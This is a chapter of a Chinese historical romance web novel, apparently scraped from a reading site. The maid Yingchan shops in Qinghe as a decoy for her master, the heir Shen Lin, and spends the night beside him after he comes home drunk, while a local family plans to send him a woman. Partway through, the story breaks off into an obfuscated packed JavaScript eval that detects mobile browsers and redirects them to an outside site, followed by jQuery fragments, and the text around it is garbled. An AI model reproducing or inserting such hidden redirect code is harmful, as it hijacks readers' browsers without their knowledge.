“早听说清河富庶,没想到竟比灵州还更富些。”
车马行了六日,终于到了清河。
沈麟等人住在官衙里,当地的县令以及知府一道出来见得沈麟。
荧蝉跟在沈麟身后默不作声,仍旧被拉出来夸赞一路,什么举止有度,美若天仙都出来了,结果一听她只是个丫鬟,顿时将这热络放到墨影身上。
荧蝉跟在沈麟身后,正好藏在沈麟的影子里躲太阳,沈麟身形高大,正好可以将她藏的七七八八。
沈麟的声音像冰冷的泉,一点点流过荧蝉耳畔。
“你在这里收拾屋子,有拿不准的你先自行做主。”
荧蝉福身应是,在县令诧异的眼神中,恭送众人离去。
县衙分给她们住的地方不大,荧蝉看着留给沈麟的屋子,也没什么可装饰的,光是银花瓶就有两个,还有一个玉石梅花盆景,这些光是拿去外面置换,也能置换出个几十上百两银子。
这处地方没有小厨房,若是得用小厨房,还得到旁边师爷住的院子去借。
荧蝉将被子铺出来,包袱里的衣裳一挂,就算收拾的七七八八,另外收拾出来一个小软榻,值夜的时候用。
扫一眼屋内,转身拿上荷包准备出门。
“荧蝉姑娘要出门?”
侍卫看见荧蝉要走,连忙分出来一个人跟上,荧蝉还不晓得这处地界太平与否,便带了两个人上街。
这边的人多穿褙子抹胸,如同荧蝉这样穿半臂百迭裙的也有,只是少。
荧蝉白皙的脖子上挂着一串红色的玛瑙珠子项链,越发衬得她肤如凝脂。一身鲜色半臂,艳色长裙,哪怕装饰的不算多,但也能瞧出家中颇有家底。
她行事如此高调,都因这是沈麟的嘱咐,沈麟要她出现穿的鲜亮些,多出来逛一逛,散散心。
说是为了让她宽心,但荧蝉才不信这个。
强龙不压地头蛇,沈麟多半是想用她的存在来迷惑这当地官员,至于他要做什么,她便不知了,总归需要她出来做幌子演戏的,应当不是小事。
荧蝉的头上插戴了两对儿金花钿,耳朵上的石榴石耳坠子也格外夺目,富贵的很。
“这附近可有什么首饰铺子?”
荧蝉随意问了街面上一个摆摊的小贩。
“咱们这的首饰铺子,就南边的珍宝坊,还有一个东边的芙蓉馆。”
荧蝉带着两个牛高马大的侍卫进了首饰铺子,她揣着沈麟的钱袋,一进门就豪气的买了一对儿芙蓉花片金钗。
“这二楼卖的是什么?”荧蝉指着店铺中央的一条楼梯问道。
铺子的老板娘只当是来了大主顾,立即笑眯了眼:“这二楼自然是像娘子这样的人去的地儿,二楼的东西比一楼的都要更富贵精巧些,有些还是咱们从旁的地方,请大家造办的头面,璎珞,姑娘若是喜欢,不妨上去瞧瞧。”
荧蝉轻哼一声带着人上去,眼神轻飘飘的扫了掌柜的一眼,看得人心都酥了:“若是东西不好,我可得回来找你。”
“又什么好货先端上来,别藏着掖着,否则等我回家禀告了郎君,有你家的好果子吃。”
掌柜的哪里知道荧蝉口中的郎君是谁,只是听着荧蝉这语气仿佛那人十分不好惹,当即便堆满了笑送她上去。
铺子确实没夸大,确实是有好东西的,有一朵粉蓝色的绣球花冠子,通体是用绒花做的,这样的冠子就讲究在手工而不在材质上。
寻常绒花是卖不高高价,这样栩栩如生的冠子,价格却是成倍的涨。
边上还有一套白玉的楼台景头面,这一套东西不多,但样样精细,光是工匠的手艺费就得去个十两往上。
“就这些?没旁的了?”
铺子老板娘为难的看了眼荧蝉,视线隐晦的往楼台另一侧看去。
荧蝉顺着看过去,只看到一道精致的珠帘。
“怎么?买个首饰还得过五关斩六将不成?你们清河的规矩还真是独特。”
荧蝉坐着檀木玫瑰椅,鬓发闪的金钿熠熠生辉,上好的浣花绸,整片裁了做的花鸟百迭裙,一身薄云纱的半臂,露出里面轻薄的木芙蓉花纹内衬。
一手支颐,似笑非笑的看着面前站着的掌柜,红唇微抿,一双含情眼也生出锐气:“掌柜的是怕我掏不出银子,还是怕我带着人抢了你的铺子?”
掌柜连说荧蝉误会了,荧蝉忽的站起身,径直朝着方才上来的楼梯行去:“既然店家不想做这生意,那咱们也不做看不懂颜色的讨嫌鬼。”
荧蝉来得快去的也快,只留下掌柜为难的看着珠帘后,许久没有动静传来,掀开一看,里面已经空空如也。
小几上摆着的茶盏还冒着热气,显然主人刚走不久。
直到晚间,荧蝉才带着人提了不少东西从芙蓉馆回来。
沈麟还在外间赴宴未归,派了人回来给她报信。
荧蝉乐得沈麟不回来,将自己花沈麟银子采买的首饰放在书桌上,自行洗漱睡去。
一日都在外面行走,趁着沈麟还没回来,她还能多歇一歇。
这一觉睡到后半夜,沈麟才一身酒气的回来。
面上一片驼红,衣领上酒气更是冲天,尤其是衣袖上还有隐隐约约的脂粉气,嗅的荧蝉颇有些咬牙切齿。
沈麟察觉到荧蝉的动作与往日有些不同,被酒水泡过的脑子转的缓慢,他盯着荧蝉微微偏过去的面容,一字一句道:“你,在,生,气?”
荧蝉诧异的看向沈麟,万万没想到沈麟醉酒后竟然是这般模样。
“郎君今日喝了多少?”
荧蝉和墨影把沈麟往床上架去,沈麟已经有些神志不清,盯着墨影半天才认出来这是谁。
“从晌午喝到现在,饭都没怎么吃,光喝酒了。”
墨影身上也有不少酒气,显然自己也没躲过去,将沈麟松到床榻上,便赶紧将东西交接到荧蝉手中。
沈麟醉醺醺的躺在床上,往日如寒星的眸子此时眸光清澈,呆愣的盯着头顶的床帐,问荧蝉:“这是什么图样?怎么没见过?”
荧蝉看过去,语调微微僵涩:“百子千孙的图样,郎君房里多不用这种款式。”
沈麟哦了一声,荧蝉见他不说话,便要出去打水,结果还没走出两步,便被人从身后一点点扯着裙子将她扯回来。
“何时回来?”
沈麟记得上回荧蝉也是这样,一出去,就一晚上也没回来过。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268703|182204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>沈麟仍旧躺在床上,两人的位置一高一低,沈麟从未以这样的角度看过荧蝉,此时像是发现了什么新奇的玩具,不言不语,只是一味的盯着她。
荧蝉与沈麟对视,沈麟的眼眸漆黑如墨,又清澈的过分,此时月上柳梢,这位尊贵的世子大人拉着她的裙角,不让她离去,问她几时回来。
那双眼眸温柔如水,仿佛里面有一片溺死人不偿命的海。
那仿佛也不是问她几时回来,而是问她,愿不愿留下。
荧蝉有些痴迷的看着沈麟的面容,这张脸她看看了几个月了,还是看不腻。
尤其是这样,卸去所有防备问她几时回来的沈麟,更让她无法招架。
荧蝉仿佛被沈麟的颜色蛊惑一般,缓缓和沈麟躺在一张床上。
她侧身看着沈麟,沈麟也看着她。
昏暗中,沈麟灼热的掌心捉住了她的手,径直带着荧蝉的掌心贴在他心口上。
咚咚咚咚咚咚……
暗夜无声,只有帐子外的烛火幽幽照亮这一方天地。
荧蝉感受着沈麟喧嚣的心跳,忽然觉得自己的心好像也有些控制不住。
心跳的慌乱仿佛会传染,沈麟胸腔里猛烈跳动的心带着她的心一道,在身体里不断叫嚣。
缓缓阖上眸子,荧蝉强迫自己不去看沈麟,不要被男色蛊惑。
可掌心的心跳越发明显。
沈麟的身体缓缓靠过来,将荧蝉抱进怀里。
酒气传来,熏醉了荧蝉,也熏醉了本就神志不清的沈麟。
·
次日醒来,腰上多出的不属于她的手臂沉的像是灌了铁。
荧蝉心中诧异,没想到沈麟昨日竟当真抱着她睡了一夜。
沈麟此时还未醒,往日这个时辰他该出门上朝,但如今无朝会可上。
荧蝉盯着边上睡得无知无觉的沈麟,眸光变了几变,最终还是放任自己重新躺了下去。
横竖不是她主动的,就算是沈麟醒了她也不怕。
荧蝉重新钻进沈麟怀里,抱着沈麟的腰,放任自己沉沦在沈麟的美色当中。
她枕的可是镇远侯世子,她养了这样久的世子,枕一枕怎么了?!
就枕!
此时的荧蝉不想考虑那么多,不想考虑如何算计沈麟的同情和怜爱,也不想去算计墨影他们的喜好。
脑子动多了也很累的,她就休息一小会儿。
不多时,荧蝉沉入梦乡,揽着她的沈麟无声无息睁开眼,盯着荧蝉的发顶。
·
珍宝坊
一男一女坐在三楼的看台上,男子身材欣长,体型瘦弱,女子身量纤细,容长脸儿柳叶眉,带着一顶花冠坐在凉塌上。
“你说昨日来的那小仙女儿是镇远侯世子沈麟的通房?”
男子点点头,眼神一瞬晦暗:“沈麟身旁有这等绝色,怪不得昨天灌了一天的酒他也不碰那些歌姬。”
女子一听,茶盏一放开始敲桌子:“谁出的昏招?歌姬?他是侯府世子!能被两个歌姬迷住?谁这么小家子气?好歹找两个瘦马来啊!”
男子摇摇头,无奈的盯着自家妹子:“爹准备从咱们家找一个送出去,你猜会是谁?”